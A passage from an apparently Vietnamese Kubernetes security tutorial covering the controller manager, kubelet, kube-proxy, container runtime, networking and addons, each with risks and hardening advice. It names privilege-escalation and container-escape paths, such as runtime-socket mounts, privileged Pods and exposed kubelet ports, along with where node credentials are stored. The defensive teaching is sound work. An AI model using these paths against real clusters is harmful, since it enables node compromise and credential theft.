  <li>Hạn chế quyền tạo/sửa Pod bằng RBAC least privilege.</li>
  <li>Dùng Pod Security Admission hoặc Kyverno để chặn Pod nguy hiểm.</li>
  <li>Dùng taints/tolerations để cô lập Node quan trọng.</li>
  <li>Quản lý chặt quyền chỉnh sửa label của Node.</li>
  <li>Dùng NetworkPolicy để giảm rủi ro lateral movement sau khi Pod đã được schedule.</li>
</ul>

<h3 id="4-controller">4. Controller</h3>

<p>Kube Controller hay còn  được gọi là Controller manager là một thành phần thuộc Control Plane, chịu trách nhiệm chạy nhiều controller khác nhau bên trong Kubernetes.</p>

<p>Nếu API Server là nơi tiếp nhận request, etcd là nơi lưu trạng thái, Scheduler là nơi quyết định Pod chạy ở Node nào, thì Controller Manager là thành phần liên tục theo dõi trạng thái hiện tại của cluster và cố gắng đưa nó về đúng trạng thái mong muốn.</p>

<p>Có thể hiểu đơn giản:</p>

<blockquote>
  <p>Controller Manager là cơ chế tự động sửa sai của Kubernetes. Nó liên tục so sánh trạng thái hiện tại với trạng thái mong muốn, nếu thấy lệch thì thực hiện hành động để đưa cluster về đúng trạng thái đã khai báo.</p>
</blockquote>

<p>Ví dụ, khi ta tạo một Deployment với 3 replicas, trạng thái mong muốn là luôn có 3 Pod chạy. Nếu một Pod bị lỗi hoặc bị xóa, Deployment Controller sẽ phát hiện hiện tại chỉ còn 2 Pod, sau đó tạo thêm 1 Pod mới để quay lại đúng 3 replicas.</p>

<p>Quy trình hoạt động ở mức high level:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>User khai báo desired state
        ↓
kube-apiserver lưu desired state vào etcd
        ↓
Controller Manager quan sát trạng thái qua API Server
        ↓
Phát hiện actual state khác desired state
        ↓
Controller tạo/sửa/xóa object cần thiết
        ↓
Cluster dần quay về trạng thái mong muốn
</code></pre></div></div>

<p>Trong Kubernetes, controller không chỉ có một loại. <code class="language-plaintext highlighter-rouge">kube-controller-manager</code> thực chất chạy nhiều controller khác nhau, mỗi controller phụ trách một nhóm nhiệm vụ riêng.</p>

<p>Một số controller phổ biến gồm:</p>

<ul>
  <li><strong>Node Controller</strong>: theo dõi trạng thái Node, phát hiện Node bị down hoặc không phản hồi.</li>
  <li><strong>Deployment Controller</strong>: đảm bảo số lượng Pod của Deployment đúng với số replicas đã khai báo.</li>
  <li><strong>ReplicaSet Controller</strong>: duy trì số lượng Pod replica theo yêu cầu.</li>
  <li><strong>Job Controller</strong>: quản lý các Job chạy một lần hoặc chạy đến khi hoàn thành.</li>
  <li><strong>EndpointSlice Controller</strong>: cập nhật danh sách endpoint phía sau Service.</li>
  <li><strong>ServiceAccount Controller</strong>: đảm bảo ServiceAccount mặc định tồn tại trong namespace.</li>
  <li><strong>Token Controller</strong>: xử lý một số logic liên quan đến token/secret của ServiceAccount trong các cơ chế token nhất định.</li>
</ul>

<p>Ví dụ thực tế:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl create deployment nginx <span class="nt">--image</span><span class="o">=</span>nginx <span class="nt">--replicas</span><span class="o">=</span>3
</code></pre></div></div>

<p>Sau khi chạy lệnh trên, API Server lưu Deployment object vào etcd. Deployment Controller sẽ phát hiện có một Deployment mới cần 3 replicas, sau đó tạo ReplicaSet và các Pod tương ứng. Nếu sau đó ta xóa một Pod:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl delete pod &lt;pod-name&gt;
</code></pre></div></div>

<p>Controller sẽ tự động tạo Pod mới để đảm bảo Deployment vẫn có đủ 3 replicas.</p>

<p>Nếu cluster được dựng bằng <code class="language-plaintext highlighter-rouge">kubeadm</code>, <code class="language-plaintext highlighter-rouge">kube-controller-manager</code> thường chạy dưới dạng static Pod trong namespace <code class="language-plaintext highlighter-rouge">kube-system</code>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl get pods <span class="nt">-n</span> kube-system | <span class="nb">grep </span>controller-manager
</code></pre></div></div>

<p>Manifest thường nằm tại:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/etc/kubernetes/manifests/kube-controller-manager.yaml
</code></pre></div></div>

<p>Một số flag đáng chú ý của controller-manager:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>--service-account-private-key-file
--root-ca-file
--cluster-signing-cert-file
--cluster-signing-key-file
--use-service-account-credentials
</code></pre></div></div>

<p>Các flag này liên quan đến certificate, ServiceAccount token và credential mà controller sử dụng để giao tiếp với API Server.</p>

<h4 id="góc-nhìn-bảo-mật-2">Góc nhìn bảo mật</h4>

<p>Controller Manager liên quan tới bảo mật vì nó có quyền tạo, sửa, xóa nhiều loại tài nguyên trong cluster. Nếu credential của controller-manager bị lộ hoặc component này bị compromise, attacker có thể tác động mạnh đến trạng thái cluster.</p>

<p>Một số rủi ro cần chú ý:</p>

<ul>
  <li>Credential/certificate của controller-manager bị lộ trên control plane node.</li>
  <li>Controller chạy với quyền quá rộng hoặc dùng chung credential không cần thiết.</li>
  <li>ServiceAccount token signing key bị lộ, attacker có thể tạo token giả trong một số mô hình cấu hình nhất định.</li>
  <li>Custom controller/operator bên thứ ba được cài vào cluster nhưng dùng ServiceAccount có quyền quá rộng.</li>
</ul>

<p>Trong thực tế, rủi ro thường gặp không chỉ nằm ở <code class="language-plaintext highlighter-rouge">kube-controller-manager</code> mặc định của Kubernetes mà còn nằm ở các <strong>custom controller/operator</strong>. Nhiều Helm chart hoặc operator được cài vào cluster với quyền rất cao, ví dụ quyền tạo Pod, đọc Secret hoặc quản lý tài nguyên trên toàn cluster. Nếu operator đó có lỗ hổng hoặc bị compromise, attacker có thể lợi dụng ServiceAccount của operator để leo thang đặc quyền.</p>

<p>Một số hướng hardening:</p>

<ul>
  <li>Bảo vệ control plane node và thư mục chứa certificate/key.</li>
  <li>Bật <code class="language-plaintext highlighter-rouge">--use-service-account-credentials</code> để mỗi controller dùng credential riêng thay vì dùng một credential chung quá rộng.</li>
  <li>Kiểm tra RBAC của các controller/operator bên thứ ba.</li>
  <li>Không cài operator/Helm chart không rõ nguồn gốc vào cluster production.</li>
  <li>Dùng audit log để theo dõi các hành động bất thường như tạo ClusterRoleBinding, đọc Secret hàng loạt, tạo privileged Pod.</li>
</ul>

<h3 id="cloud-controller-manager">cloud-controller-manager</h3>

<p><code class="language-plaintext highlighter-rouge">cloud-controller-manager</code> là thành phần dùng khi Kubernetes cluster tích hợp với hạ tầng cloud provider như AWS, Google Cloud, Azure hoặc OpenStack.</p>

<p>Trong các cluster chạy local bằng <code class="language-plaintext highlighter-rouge">kind</code>, <code class="language-plaintext highlighter-rouge">minikube</code> hoặc các môi trường on-premise đơn giản, có thể không cần <code class="language-plaintext highlighter-rouge">cloud-controller-manager</code>. Nhưng trong môi trường cloud, thành phần này giúp Kubernetes giao tiếp với hạ tầng bên ngoài.</p>

<p>Một số nhiệm vụ phổ biến của cloud-controller-manager:</p>

<ul>
  <li>Tạo hoặc cập nhật Load Balancer trên cloud khi dùng Service type <code class="language-plaintext highlighter-rouge">LoadBalancer</code>.</li>
  <li>Kiểm tra trạng thái VM/Node từ cloud provider.</li>
  <li>Quản lý route mạng trong cloud.</li>
  <li>Gắn metadata hoặc thông tin cloud vào Node object.</li>
  <li>Tích hợp với storage hoặc network provider của cloud.</li>
</ul>

<p>Ví dụ, khi ta tạo Service kiểu LoadBalancer:</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">apiVersion</span><span class="pi">:</span> <span class="s">v1</span>
<span class="na">kind</span><span class="pi">:</span> <span class="s">Service</span>
<span class="na">metadata</span><span class="pi">:</span>
  <span class="na">name</span><span class="pi">:</span> <span class="s">web-service</span>
<span class="na">spec</span><span class="pi">:</span>
  <span class="na">type</span><span class="pi">:</span> <span class="s">LoadBalancer</span>
  <span class="na">selector</span><span class="pi">:</span>
    <span class="na">app</span><span class="pi">:</span> <span class="s">web</span>
  <span class="na">ports</span><span class="pi">:</span>
    <span class="pi">-</span> <span class="na">port</span><span class="pi">:</span> <span class="m">80</span>
      <span class="na">targetPort</span><span class="pi">:</span> <span class="m">80</span>
</code></pre></div></div>

<p>Trong môi trường cloud, cloud-controller-manager có thể gọi API của cloud provider để tạo một load balancer thật bên ngoài, sau đó cập nhật địa chỉ IP/DNS của load balancer vào Service object trong Kubernetes.</p>

<h4 id="góc-nhìn-bảo-mật-3">Góc nhìn bảo mật</h4>

<p>cloud-controller-manager là cầu nối giữa Kubernetes và cloud provider, nên nếu cấu hình sai, rủi ro không chỉ nằm trong cluster mà có thể lan sang hạ tầng cloud.</p>

<p>Một số rủi ro cần chú ý:</p>

<ul>
  <li>Credential cloud provider bị lộ.</li>
  <li>Service type <code class="language-plaintext highlighter-rouge">LoadBalancer</code> expose ứng dụng ra Internet ngoài ý muốn.</li>
  <li>Cloud IAM role cấp quyền quá rộng cho Kubernetes component.</li>
  <li>Attacker có quyền tạo Service có thể làm lộ workload nội bộ ra bên ngoài nếu không có policy kiểm soát.</li>
  <li>Metadata service của cloud có thể bị Pod truy cập nếu không được chặn, dẫn đến lộ cloud credential trong một số môi trường.</li>
</ul>

<p>Một số hướng hardening:</p>

<ul>
  <li>Áp dụng least privilege cho cloud IAM role dùng bởi cluster.</li>
  <li>Kiểm soát quyền tạo Service type <code class="language-plaintext highlighter-rouge">LoadBalancer</code>.</li>
  <li>Dùng policy/admission controller để chặn expose service nhạy cảm.</li>
  <li>Giới hạn network egress từ Pod tới cloud metadata endpoint nếu không cần.</li>
  <li>Theo dõi các thay đổi bất thường liên quan tới LoadBalancer, Ingress và public IP.</li>
</ul>

<h2 id="worker-nodes">Worker Nodes</h2>

<p>Nếu Control Plane là nơi quản lý và đưa ra quyết định, thì Worker Nodes là nơi thực sự chạy ứng dụng.</p>

<p>Mỗi Worker Node cung cấp tài nguyên như CPU, RAM, network và storage để chạy các Pod. Một cluster có thể có một hoặc nhiều Worker Node tùy vào quy mô hệ thống.</p>

<p>Trên mỗi Worker Node thường có các thành phần chính sau:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">kubelet</code></li>
  <li><code class="language-plaintext highlighter-rouge">kube-proxy</code></li>
  <li>Container Runtime</li>
  <li>CNI plugin hoặc thành phần networking khác</li>
</ul>

<p>Có thể hiểu đơn giản:</p>

<blockquote>
  <p>Control Plane quyết định cluster nên chạy gì, còn Worker Node là nơi biến quyết định đó thành container đang chạy thật.</p>
</blockquote>

<p><img src="/assets/images/posts/Pasted%20image%2020260520094809.png" alt="" /></p>

<h3 id="1-kubelet">1. kubelet</h3>

<p><code class="language-plaintext highlighter-rouge">kubelet</code> là agent chạy trên mỗi Node trong Kubernetes cluster.</p>

<p>Nhiệm vụ chính của kubelet là nhận thông tin Pod được gán cho Node của nó, sau đó làm việc với container runtime để pull image, tạo container, mount volume và duy trì trạng thái của Pod.</p>

<p>Ví dụ, sau khi Scheduler quyết định Pod <code class="language-plaintext highlighter-rouge">nginx</code> nên chạy trên Node <code class="language-plaintext highlighter-rouge">worker-1</code>, kubelet trên <code class="language-plaintext highlighter-rouge">worker-1</code> sẽ nhận thông tin này thông qua API Server. Sau đó kubelet gọi container runtime như <code class="language-plaintext highlighter-rouge">containerd</code> để pull image <code class="language-plaintext highlighter-rouge">nginx</code> và chạy container.</p>

<p>Luồng xử lý cơ bản:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Scheduler gán Pod vào Node
        ↓
kubelet trên Node đó phát hiện Pod mới
        ↓
kubelet gọi container runtime
        ↓
container runtime pull image và chạy container
        ↓
kubelet theo dõi trạng thái Pod/container
        ↓
kubelet report trạng thái về API Server
</code></pre></div></div>

<p>Một số nhiệm vụ quan trọng của kubelet:</p>

<ul>
  <li>Đăng ký Node với Kubernetes cluster.</li>
  <li>Nhận PodSpec từ API Server.</li>
  <li>Đảm bảo container trong Pod chạy đúng như khai báo.</li>
  <li>Mount volume cho Pod.</li>
  <li>Chạy liveness probe, readiness probe, startup probe.</li>
  <li>Báo cáo trạng thái Node, Pod và container về API Server.</li>
  <li>Quản lý static Pod trên Node.</li>
</ul>

<p>Nếu dùng kubeadm, kubelet thường chạy như một systemd service trên Node, không phải Pod bình thường.</p>

<p>Có thể kiểm tra kubelet bằng:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>systemctl status kubelet
</code></pre></div></div>

<p>Hoặc xem process:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ps aux | <span class="nb">grep </span>kubelet
</code></pre></div></div>

<p>Một số file cấu hình quan trọng:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/etc/kubernetes/kubelet.conf
/var/lib/kubelet/config.yaml
</code></pre></div></div>

<p>File <code class="language-plaintext highlighter-rouge">kubelet.conf</code> chứa thông tin để kubelet xác thực với API Server. Kubelet thường giao tiếp với API Server bằng danh tính dạng:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>system:node:&lt;node-name&gt;
</code></pre></div></div>

<p>và thuộc group:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>system:nodes
</code></pre></div></div>

<p><img src="/assets/images/posts/Pasted%20image%2020260519230338.png" alt="" /></p>

<p>Một cấu hình rất quan trọng trong kubelet là authentication và authorization.</p>

<p>Ví dụ trong <code class="language-plaintext highlighter-rouge">/var/lib/kubelet/config.yaml</code>, cần chú ý các phần như:</p>

<p><img src="/assets/images/posts/Pasted%20image%2020260519230403.png" alt="" /></p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">authentication</span><span class="pi">:</span>
  <span class="na">anonymous</span><span class="pi">:</span>
    <span class="na">enabled</span><span class="pi">:</span> <span class="no">false</span>

<span class="na">authorization</span><span class="pi">:</span>
  <span class="na">mode</span><span class="pi">:</span> <span class="s">Webhook</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">anonymous.enabled: false</code> nghĩa là kubelet không chấp nhận request ẩn danh.</p>

<p><code class="language-plaintext highlighter-rouge">authorization.mode: Webhook</code> nghĩa là kubelet sẽ hỏi API Server để kiểm tra request có được phép thực hiện hay không.</p>

<p>Không nên dùng:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>authorization.mode: AlwaysAllow
</code></pre></div></div>

<p>Vì nếu kubelet dùng <code class="language-plaintext highlighter-rouge">AlwaysAllow</code>, request tới kubelet có thể được chấp nhận mà không kiểm soát quyền đúng cách.</p>

<h4 id="static-pod">Static Pod</h4>

<p>Một khái niệm quan trọng khi học kubelet là <strong>static Pod</strong>.</p>

<p>Static Pod là Pod được kubelet quản lý trực tiếp từ file manifest trên Node, thay vì được tạo thông qua API Server như Pod thông thường.</p>

<p>Trong mô hình kubeadm, các component của Control Plane như API Server, Scheduler, Controller Manager thường chạy dưới dạng static Pod. Manifest của chúng nằm trong:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/etc/kubernetes/manifests/
</code></pre></div></div>

<p>Kubelet sẽ theo dõi thư mục này. Nếu có file manifest mới hoặc manifest bị sửa, kubelet sẽ tự động tạo hoặc restart static Pod tương ứng.</p>

<p>Đây là lý do khi chỉnh file:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/etc/kubernetes/manifests/kube-apiserver.yaml
</code></pre></div></div>

<p>API Server có thể tự restart sau một khoảng thời gian ngắn.</p>

<h4 id="góc-nhìn-bảo-mật-4">Góc nhìn bảo mật</h4>

<p>Kubelet là một attack surface rất quan trọng trong Kubernetes vì nó chạy trên từng Node và có khả năng tương tác trực tiếp với container, Pod, log, exec và filesystem liên quan tới workload.</p>

<p>Một số rủi ro phổ biến:</p>

<ul>
  <li>Kubelet port <code class="language-plaintext highlighter-rouge">10250</code> bị expose ra mạng không tin cậy.</li>
  <li>Bật anonymous authentication.</li>
  <li>Dùng <code class="language-plaintext highlighter-rouge">authorization.mode: AlwaysAllow</code>.</li>
  <li>Attacker có quyền gọi kubelet API để đọc logs, exec vào container hoặc lấy thông tin Pod trên Node.</li>
  <li>Node bị compromise dẫn tới lộ kubelet credential trong <code class="language-plaintext highlighter-rouge">/etc/kubernetes/kubelet.conf</code>.</li>
  <li>Pod nguy hiểm dùng <code class="language-plaintext highlighter-rouge">hostPath</code> để đọc thư mục nhạy cảm của Node, bao gồm file kubelet hoặc kubeconfig.</li>
</ul>

<p>Một số hướng hardening:</p>

<ul>
  <li>Tắt anonymous authentication cho kubelet.</li>
  <li>Dùng authorization mode <code class="language-plaintext highlighter-rouge">Webhook</code>.</li>
  <li>Không expose kubelet port <code class="language-plaintext highlighter-rouge">10250</code> ra Internet hoặc mạng không tin cậy.</li>
  <li>Giới hạn network access tới kubelet chỉ từ control plane hoặc thành phần cần thiết.</li>
  <li>Kiểm soát RBAC liên quan tới <code class="language-plaintext highlighter-rouge">nodes/proxy</code>, <code class="language-plaintext highlighter-rouge">nodes/log</code>, <code class="language-plaintext highlighter-rouge">nodes/exec</code>.</li>
  <li>Chặn Pod dùng <code class="language-plaintext highlighter-rouge">hostPath</code>, <code class="language-plaintext highlighter-rouge">hostPID</code>, <code class="language-plaintext highlighter-rouge">hostNetwork</code>, <code class="language-plaintext highlighter-rouge">privileged</code> nếu không cần.</li>
  <li>Dùng audit log và runtime security tool như Falco để phát hiện hành vi bất thường trên Node.</li>
</ul>

<p>Trong đề tài privilege escalation, kubelet rất đáng chú ý vì nhiều attack path từ Pod có thể dẫn tới Node compromise nếu attacker tạo được privileged Pod hoặc mount được host filesystem.</p>

<h3 id="2-kube-proxy">2. kube-proxy</h3>

<p><code class="language-plaintext highlighter-rouge">kube-proxy</code> là thành phần networking chạy trên các Node để hỗ trợ Kubernetes Service.</p>

<p>Trong Kubernetes, Pod có IP riêng nhưng Pod có thể bị xóa và tạo lại liên tục, dẫn tới IP thay đổi. Vì vậy, Kubernetes dùng Service để cung cấp một địa chỉ ổn định cho nhóm Pod phía sau.</p>

<p><code class="language-plaintext highlighter-rouge">kube-proxy</code> giúp triển khai cơ chế chuyển tiếp traffic từ Service tới Pod backend phù hợp.</p>

<p>Ví dụ, ta có một Service <code class="language-plaintext highlighter-rouge">frontend-service</code> trỏ tới 3 Pod frontend. Khi client gửi request tới Service, traffic sẽ được chuyển tới một trong các Pod backend. Các rule chuyển tiếp này có thể được kube-proxy cấu hình bằng <code class="language-plaintext highlighter-rouge">iptables</code> hoặc <code class="language-plaintext highlighter-rouge">IPVS</code>.</p>

<p>Có thể kiểm tra kube-proxy trong cluster:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl get pods <span class="nt">-n</span> kube-system | <span class="nb">grep </span>kube-proxy
</code></pre></div></div>

<p>Vì kube-proxy thường chạy trên mọi Node, nó thường được triển khai dưới dạng DaemonSet:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl get daemonset <span class="nt">-n</span> kube-system | <span class="nb">grep </span>kube-proxy
</code></pre></div></div>

<p>Xem log kube-proxy:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubectl logs <span class="nt">-l</span> k8s-app<span class="o">=</span>kube-proxy <span class="nt">-n</span> kube-system
</code></pre></div></div>

<p>Một số mode hoạt động phổ biến:</p>

<ul>
  <li><strong>iptables mode</strong>: phổ biến, dùng iptables rule để điều hướng traffic.</li>
  <li><strong>IPVS mode</strong>: phù hợp với cluster lớn, cần hiệu năng network cao hơn.</li>
</ul>

<h4 id="góc-nhìn-bảo-mật-5">Góc nhìn bảo mật</h4>

<p>kube-proxy liên quan tới network traffic trong cluster. Bản thân kube-proxy không phải lúc nào cũng là mục tiêu tấn công trực tiếp, nhưng network model của Kubernetes có ảnh hưởng lớn đến lateral movement.</p>

<p>Mặc định, trong nhiều cluster, các Pod có thể giao tiếp với nhau khá tự do nếu không có NetworkPolicy. Điều này có nghĩa là nếu attacker compromise một Pod, họ có thể scan hoặc truy cập các Service nội bộ khác trong cluster.</p>

<p>Một số rủi ro:</p>

<ul>
  <li>Không có NetworkPolicy, dẫn tới Pod-to-Pod traffic quá mở.</li>
  <li>Service expose nhầm workload nhạy cảm.</li>
  <li>NodePort hoặc LoadBalancer expose dịch vụ ra ngoài không kiểm soát.</li>
  <li>hostNetwork Pod có thể bypass một số lớp network isolation.</li>
  <li>Lạm dụng Service/Endpoint để điều hướng hoặc chặn traffic trong một số cấu hình sai.</li>
</ul>

<p>Một số hướng hardening:</p>

<ul>
  <li>Áp dụng NetworkPolicy theo hướng default deny.</li>
  <li>Chỉ expose Service ra ngoài khi thật sự cần.</li>
  <li>Kiểm soát quyền tạo Service type <code class="language-plaintext highlighter-rouge">NodePort</code> và <code class="language-plaintext highlighter-rouge">LoadBalancer</code>.</li>
  <li>Theo dõi traffic bất thường giữa các namespace.</li>
  <li>Tách namespace và network zone cho workload có mức độ nhạy cảm khác nhau.</li>
</ul>

<h3 id="3-container-runtime">3. Container Runtime</h3>

<p>Container Runtime là thành phần thực sự chạy container trên Worker Node.</p>

<p>Kubernetes không tự chạy container trực tiếp. Thay vào đó, kubelet giao tiếp với container runtime thông qua chuẩn <strong>CRI - Container Runtime Interface</strong>.</p>

<p>Một số container runtime phổ biến:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">containerd</code></li>
  <li><code class="language-plaintext highlighter-rouge">CRI-O</code></li>
  <li>Các runtime tương thích CRI khác</li>
</ul>

<p>Trước đây Docker từng được dùng phổ biến trong Kubernetes, nhưng các phiên bản Kubernetes hiện đại giao tiếp với runtime qua CRI, trong đó <code class="language-plaintext highlighter-rouge">containerd</code> là lựa chọn rất phổ biến.</p>

<p>Luồng xử lý cơ bản:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kubelet nhận PodSpec
        ↓
kubelet gọi container runtime qua CRI
        ↓
runtime pull image
        ↓
runtime tạo container
        ↓
runtime quản lý lifecycle của container
</code></pre></div></div>

<p>Container runtime chịu trách nhiệm các việc như:</p>

<ul>
  <li>Pull image từ registry.</li>
  <li>Tạo container filesystem.</li>
  <li>Khởi chạy process chính trong container.</li>
  <li>Quản lý container lifecycle.</li>
  <li>Kết nối container với network namespace phù hợp.</li>
  <li>Ghi nhận container log.</li>
</ul>

<h4 id="góc-nhìn-bảo-mật-6">Góc nhìn bảo mật</h4>

<p>Container Runtime là lớp rất quan trọng trong các kịch bản container escape hoặc node compromise.</p>

<p>Một số rủi ro phổ biến:</p>

<ul>
  <li>Container chạy với <code class="language-plaintext highlighter-rouge">privileged: true</code>.</li>
  <li>Container được mount socket runtime như <code class="language-plaintext highlighter-rouge">containerd.sock</code> hoặc <code class="language-plaintext highlighter-rouge">docker.sock</code>.</li>
  <li>Container có Linux capability nguy hiểm như <code class="language-plaintext highlighter-rouge">SYS_ADMIN</code>.</li>
  <li>Container chạy bằng user root.</li>
  <li>Image chứa vulnerability hoặc tool nguy hiểm.</li>
  <li>Runtime hoặc kernel có lỗ hổng cho phép container escape.</li>
</ul>

<p>Ví dụ, nếu một Pod được mount Docker socket hoặc container runtime socket, attacker có shell trong Pod có thể tương tác với runtime trên host và tạo container mới với quyền cao hơn. Đây là một dạng misconfiguration rất nguy hiểm.</p>

<p>Một số hướng hardening:</p>

<ul>
  <li>Không mount runtime socket vào Pod.</li>
  <li>Hạn chế <code class="language-plaintext highlighter-rouge">privileged: true</code>.</li>
  <li>Drop Linux capabilities không cần thiết.</li>
  <li>Dùng <code class="language-plaintext highlighter-rouge">runAsNonRoot</code>, <code class="language-plaintext highlighter-rouge">readOnlyRootFilesystem</code> nếu phù hợp.</li>
  <li>Scan image bằng Trivy hoặc công cụ tương tự.</li>
  <li>Dùng Pod Security Admission/Kyverno để enforce policy.</li>
  <li>Cập nhật runtime và kernel thường xuyên.</li>
</ul>

<p>Trong đề tài này, Container Runtime liên quan trực tiếp tới nhánh <strong>Container Escape</strong> và <strong>Bad Pods</strong> như privileged Pod, hostPath, hostPID hoặc mount runtime socket.</p>

<h3 id="cni-và-pod-networking">CNI và Pod Networking</h3>

<p>Ngoài kube-proxy, một cluster Kubernetes cần có thành phần networking để các Pod có thể giao tiếp với nhau. Phần này thường được triển khai bởi CNI plugin.</p>

<p>CNI là viết tắt của <strong>Container Network Interface</strong>. Đây là chuẩn giúp Kubernetes cấu hình network cho Pod.</p>

<p>Một số CNI phổ biến:</p>

<ul>
  <li>Calico</li>
  <li>Cilium</li>
  <li>Flannel</li>
  <li>Weave Net</li>
</ul>

<p>CNI chịu trách nhiệm cấp IP cho Pod, tạo route hoặc network rule cần thiết để Pod có thể giao tiếp với nhau trong cluster.</p>

<p>Trong Kubernetes, mỗi Pod thường có một IP riêng. Các Pod có thể giao tiếp trực tiếp với nhau qua IP này, kể cả khi chúng nằm trên các Node khác nhau, miễn là network plugin hỗ trợ.</p>

<p>Tuy nhiên, IP của Pod không ổn định. Khi Pod bị xóa và tạo lại, IP có thể thay đổi. Vì vậy, ứng dụng thường không nên giao tiếp với Pod bằng IP trực tiếp mà nên thông qua Service.</p>

<h4 id="góc-nhìn-bảo-mật-7">Góc nhìn bảo mật</h4>

<p>Networking là phần cực kỳ quan trọng trong Kubernetes security vì nó quyết định attacker có thể di chuyển ngang trong cluster dễ hay khó.</p>

<p>Mặc định, nếu không cấu hình NetworkPolicy, nhiều cluster cho phép Pod ở các namespace khác nhau giao tiếp với nhau. Điều này làm tăng rủi ro lateral movement sau khi một Pod bị compromise.</p>

<p>Một số rủi ro:</p>

<ul>
  <li>Không có NetworkPolicy, traffic giữa các Pod quá mở.</li>
  <li>Pod compromise có thể scan service nội bộ.</li>
  <li>Namespace bị hiểu nhầm là security boundary tuyệt đối.</li>
  <li>hostNetwork Pod có thể truy cập network giống như Node.</li>
  <li>Egress không kiểm soát, Pod có thể gọi ra Internet hoặc metadata service.</li>
</ul>

<p>Một số hướng hardening:</p>

<ul>
  <li>Áp dụng NetworkPolicy default deny cho ingress và egress.</li>
  <li>Chỉ mở traffic đúng nhu cầu giữa các app.</li>
  <li>Tách namespace theo trust boundary.</li>
  <li>Hạn chế hostNetwork.</li>
  <li>Theo dõi DNS/network connection bất thường.</li>
  <li>Nếu dùng Cilium, có thể tận dụng thêm Hubble hoặc Tetragon để quan sát runtime/network behavior.</li>
</ul>

<h2 id="addons-trong-kubernetes">Addons trong Kubernetes</h2>

<p>Ngoài các thành phần cốt lõi, Kubernetes còn có các addon để bổ sung chức năng cho cluster. Addon không phải lúc nào cũng bắt buộc, nhưng trong thực tế hầu hết cluster production đều cần một số addon như DNS, monitoring, logging, ingress controller hoặc dashboard.</p>

<h3 id="dns">DNS</h3>

<p>DNS là addon rất quan trọng trong Kubernetes. Thành phần thường gặp nhất là CoreDNS.</p>

<p>DNS cho phép Pod và Service giao tiếp với nhau bằng tên thay vì phải nhớ IP.</p>

<p>Ví dụ, một Pod có thể gọi tới Service <code class="language-plaintext highlighter-rouge">mysql</code> trong namespace <code class="language-plaintext highlighter-rouge">default</code> bằng tên:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mysql.default.svc.cluster.local
</code></pre></div></div>

<p>Thay vì phải gọi trực tiếp tới IP của Pod hoặc Service.</p>

<h4 id="góc-nhìn-bảo-mật-8">Góc nhìn bảo mật</h4>

<p>DNS giúp service discovery dễ hơn, nhưng cũng có thể bị attacker lạm dụng để reconnaissance trong cluster.</p>

<p>Một số rủi ro:</p>

<ul>
  <li>Pod compromise có thể query DNS để khám phá service nội bộ.</li>
  <li>DNS log có thể tiết lộ hành vi truy cập bất thường.</li>
  <li>Nếu CoreDNS bị cấu hình sai, có thể ảnh hưởng đến toàn bộ khả năng giao tiếp trong cluster.</li>
</ul>

<p>Hardening gợi ý:</p>

<ul>
  <li>Theo dõi DNS query bất thường.</li>
  <li>Hạn chế egress DNS nếu workload không cần.</li>
  <li>Bảo vệ CoreDNS deployment và RBAC của nó.</li>
  <li>Dùng NetworkPolicy để giới hạn Pod nào được gọi tới DNS nếu cần kiểm soát chặt.</li>
</ul>

<h3 id="dashboard">Dashboard</h3>

<p>Kubernetes Dashboard là giao diện web giúp quan sát và quản lý cluster.</p>

<p>Thông qua Dashboard, người dùng có thể xem Pods, Deployments, Services, logs và trạng thái tổng quan của cluster. Tuy nhiên, trong môi trường production, Dashboard cần được bảo vệ rất cẩn thận.</p>

<h4 id="góc-nhìn-bảo-mật-9">Góc nhìn bảo mật</h4>

<p>Dashboard từng là nguồn rủi ro lớn trong nhiều cluster vì nếu expose sai cách hoặc dùng token quyền cao, attacker có thể quản lý cluster qua giao diện web.</p>

<p>Một số rủi ro:</p>

<ul>
  <li>Dashboard expose ra Internet.</li>
  <li>Bỏ qua authentication hoặc cấu hình authentication yếu.</li>
  <li>Dùng ServiceAccount có quyền quá cao.</li>
  <li>Token Dashboard bị lộ.</li>
</ul>

<p>Hardening gợi ý:</p>

<ul>
  <li>Không expose Dashboard public.</li>
  <li>Bảo vệ bằng authentication mạnh.</li>
  <li>Dùng RBAC least privilege.</li>
  <li>Không dùng token cluster-admin cho Dashboard.</li>
  <li>Theo dõi audit log cho các hành động đến từ Dashboard user/ServiceAccount.</li>
</ul>

<h3 id="monitoring-và-logging">Monitoring và Logging</h3>

<p>Monitoring giúp thu thập metrics như CPU, memory, số lượng Pod, trạng thái Node và trạng thái workload.</p>

<p>Logging giúp gom log từ container, Node và component hệ thống về một nơi tập trung để dễ tìm kiếm, phân tích và điều tra sự cố.</p>

<p>Một số công cụ phổ biến:</p>

<ul>
  <li>Prometheus</li>
  <li>Grafana</li>
  <li>Loki</li>
